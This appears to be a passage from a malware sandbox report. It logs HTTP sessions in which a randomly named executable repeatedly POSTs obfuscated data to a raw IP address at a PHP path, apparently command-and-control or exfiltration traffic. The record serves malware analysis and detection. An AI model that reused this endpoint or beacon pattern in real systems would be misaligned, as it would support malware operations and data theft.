Apr 20, 2024 00:43:30.287900925 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 01 28 2a 08 55 23 1c 2f 05 2e 2c 37 08 29 32 21 03 39 0c 25 5e 3d 11 20 5b 3d 3d 39 57 2b 0a 2c 13 30 32 0e 14 27 3f 29 0c 39 00 20 5a 01 11 24 19 30 29 01 0e 30 23 31 01 30 33 21 07 32 2d 08 58 30 2b 2a 57 3d 12 22 0c 33 01 38 10 2a 3b 2e 56 3f 2f 33 43 26 3c 3f 55 36 34 20 50 0c 10 3b 09 28 31 3b 1a 31 02 09 54 25 01 2d 56 23 10 02 53 31 3f 3b 51 35 1d 27 58 28 21 0c 5e 28 3d 27 00 22 32 2f 00 24 31 20 53 3f 18 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'(U#/.,7)2!9%^= [==9W+,02'?)9 Z$0)0#103!2-X0+W="38*;.V?/3C&<?U64 P;(1;1T%-V#S1?;Q5'X(!^(='"2/$1 S?"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49828	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:29.885886908 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:30.147810936 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:30.148060083 CEST	2568	OUT	Data Raw: 5f 50 5e 5b 54 58 5d 51 5d 56 5a 59 52 50 56 52 54 51 5c 5b 50 55 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _P^[TX]Q]VZYRPVRTQ\[PUSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'079&#4%\#,(!<#"%/(Z4'T-4.G#$Z-
Apr 20, 2024 00:43:30.413764000 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49829	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:30.795723915 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue
Apr 20, 2024 00:43:31.057198048 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:31.057410955 CEST	2564	OUT	Data Raw: 5a 51 5e 53 54 58 5d 53 5d 56 5a 59 52 58 56 50 54 55 5c 58 50 5f 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^STX]S]VZYRXVPTU\XP_S^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'39C 9$0;&+,7;+(9#6<T"19)<,7'-.G#$Z--
Apr 20, 2024 00:43:31.326342106 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49830	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:31.715421915 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:31.973892927 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:31.974096060 CEST	2568	OUT	Data Raw: 5f 54 5b 5b 51 5b 58 54 5d 56 5a 59 52 5b 56 5b 54 55 5c 5c 50 55 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T[[Q[XT]VZYR[V[TU\\PUSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y'> _%$;2\7;'R(:#?171Q+?#/7.4.G#$Z--
Apr 20, 2024 00:43:32.239384890 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49831	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:32.623668909 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:32.886461020 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:32.886665106 CEST	2568	OUT	Data Raw: 5f 5a 5e 58 54 5e 5d 56 5d 56 5a 59 52 5a 56 57 54 57 5c 52 50 56 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z^XT^]V]VZYRZVWTW\RPVSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$&< >33#%+ 8?);!,#Q>? 89.G#$Z-)
Apr 20, 2024 00:43:33.155359030 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49832	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:33.556061983 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:33.817384958 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:33.817576885 CEST	2568	OUT	Data Raw: 5a 56 5e 52 51 5d 58 55 5d 56 5a 59 52 5e 56 57 54 53 5c 5b 50 50 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^RQ]XU]VZYR^VWTS\[PPSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z&<" 9='V823]7#V)*<59W#W.)Y0\#<#T9.G#$Z-9
Apr 20, 2024 00:43:34.086503029 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49833	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:34.466576099 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:34.725017071 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:34.725198984 CEST	2568	OUT	Data Raw: 5f 50 5e 53 54 5d 58 5e 5d 56 5a 59 52 50 56 52 54 54 5c 58 50 54 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _P^ST]X^]VZYRPVRTT\XPTSXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0A79W$0<&7^4;4+:(!Z>7)$#<#W-.G#$Z-
Apr 20, 2024 00:43:34.990314007 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49835	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:35.560870886 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:35.819226980 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:35.819422960 CEST	2148	OUT	Data Raw: 5f 5a 5e 5e 54 59 58 57 5d 56 5a 59 52 59 56 55 54 5d 5c 59 50 53 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z^^TYXW]VZYRYVUT]\YPSS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$<)B4:5'#8_%]"8?_!/&"1*W>$!/;..G#$Z-%
Apr 20, 2024 00:43:36.085891962 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 12 28 3a 3e 1f 34 31 20 11 3b 2c 2f 08 3d 31 39 02 2e 1c 32 02 2a 2c 37 00 2a 3d 2e 0f 2b 0a 27 01 24 0c 38 14 33 3c 3a 56 2e 2a 20 5a 01 11 27 45 24 17 2f 0e 27 0d 25 02 26 23 3e 5f 25 3d 3e 58 27 06 2a 55 2a 2c 35 1f 33 3b 20 5b 28 2b 36 51 28 59 3f 0a 25 12 30 0e 21 34 20 50 0c 10 38 53 28 32 33 57 24 2f 3f 1e 25 06 3a 0d 37 00 28 52 32 2f 0d 57 22 42 23 59 28 32 26 5f 29 2e 34 58 22 0b 2c 5b 30 31 38 54 28 32 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$(:>41 ;,/=19.2,7=.+'$83<:V.* Z'E$/'%&#>_%=>X'U,53; [(+6Q(Y?%0!4 P8S(23W$/?%:7(R2/W"B#Y(2&_).4X",[018T(2"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49836	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:35.680471897 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:35.939001083 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:35.939227104 CEST	2568	OUT	Data Raw: 5f 56 5e 5e 51 5c 58 50 5d 56 5a 59 52 5d 56 51 54 56 5c 58 50 51 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V^^Q\XP]VZYR]VQTV\XPQS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'?>7::008Y&;,"+#T(:(!Z1R""==8_4,<-4.G#$Z-5
Apr 20, 2024 00:43:36.206890106 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49837	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:36.589874983 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue
Apr 20, 2024 00:43:36.851300955 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:36.851517916 CEST	2564	OUT	Data Raw: 5f 54 5e 5b 51 58 58 50 5d 56 5a 59 52 58 56 54 54 56 5c 5e 50 53 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T^[QXXP]VZYRXVTTV\^PSS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'3?= :)T'/'(7#())<6,!U"1->/#?$..G#$Z-
Apr 20, 2024 00:43:37.120865107 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49838	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:37.505620003 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:37.764365911 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:37.764565945 CEST	2568	OUT	Data Raw: 5f 5a 5e 59 54 5d 5d 51 5d 56 5a 59 52 51 56 50 54 54 5c 53 50 56 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z^YT]]Q]VZYRQVPTT\SPVS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$?9C#>0<'8(78(9+#,!S4!)?8^7S-.G#$Z-
Apr 20, 2024 00:43:38.029974937 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49839	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:38.422148943 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:38.683475971 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:38.683621883 CEST	2568	OUT	Data Raw: 5a 56 5e 58 51 58 58 57 5d 56 5a 59 52 5e 56 57 54 53 5c 58 50 56 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^XQXXW]VZYR^VWTS\XPVS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y'- !W30<\24W<0"/1U#22U*?;!,#T,4.G#$Z-9
Apr 20, 2024 00:43:38.954054117 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49840	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:39.341438055 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:39.602941990 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:39.603120089 CEST	2568	OUT	Data Raw: 5f 5a 5e 5b 54 58 58 55 5d 56 5a 59 52 5f 56 5a 54 53 5c 5a 50 5e 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Z^[TXXU]VZYR_VZTS\ZP^S]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''<=B 9%R$7&;+ 8#+:8!<#-*?84/7U9.G#$Z-
Apr 20, 2024 00:43:39.871640921 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49841	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:40.591250896 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:40.849915981 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:40.850121975 CEST	2568	OUT	Data Raw: 5f 55 5e 5b 51 5a 58 50 5d 56 5a 59 52 5d 56 5b 54 57 5c 52 50 50 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^[QZXP]VZYR]V[TW\RPPS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$^$.79&&#8&+7X"8#R)*3#?%4.U+?^#Z'V,$.G#$Z-5
Apr 20, 2024 00:43:41.115606070 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49842	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:41.910880089 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:42.172493935 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:42.221827030 CEST	2148	OUT	Data Raw: 5f 57 5e 5c 54 5c 5d 56 5d 56 5a 59 52 5a 56 51 54 53 5c 58 50 5f 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^\T\]V]VZYRZVQTS\XP_SXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'&/1#"'3+%,#,+9##,&42&Q*<$\#,.4.G#$Z-)
